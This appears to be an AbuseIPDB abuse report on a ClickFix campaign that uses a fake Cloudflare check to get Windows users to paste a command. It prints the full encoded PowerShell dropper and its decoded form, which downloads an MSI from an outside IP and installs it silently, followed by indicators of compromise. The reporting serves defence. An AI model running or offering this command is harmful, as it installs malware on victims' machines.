Vector: ClickFix/FakeTurnstile scheme via itch.io redirect to a spoofed Cloudflare human-verificatio ...
show moreVector: ClickFix/FakeTurnstile scheme via itch.io redirect to a spoofed Cloudflare human-verification overlay. Tricks users into running an obfuscated string via Win+R.
Deobfuscated payload execution:
powershell.exe -nop -w h -enc YwBkACAAJABlAG4AdgA6AFQATQBQADsAaQByAG0AIAAyADUANAA5ADEAMgA3ADEAMwA1AC8AMwAzADMAIAAtAE8AdQB0AEYAaQBsAGUAIAB1AC4AbQBzAGkAOwBtAHMAaQBlAHgAZQBjACAALwBpACAAdQAuAG0AcwBpACAALwBxAG4AIABNAFMASQBJAE4AUwBUAEEATABMAFAARQBSAFUAUwBFAFIAPQAxAA==
Decoded:
cd $env:TMP;irm 2549127135/333 -OutFile u.msi;msiexec /i u.msi /qn
IOCs:
- Obfuscated Integer IP: 2549127135
- Target Destination IP: 151.240.151.223 (Beltelecom, Belarus)
- Active URL Path: http://151.240.151
- Payload dropped: u.msi (Local temporary directory)
- Installed application name: vsjoCXeFd HKWdtLch
Flag host as active malware distribution node to protect network boundaries.
show less
Bad Web BotExploited HostPhishingHacking
By clicking “Accept all”, you agree to the storing of cookies on your device to remember preferences and
analyze site usage.
Read more
- Required to log into your AbuseIPDB account, and store these cookie preferences.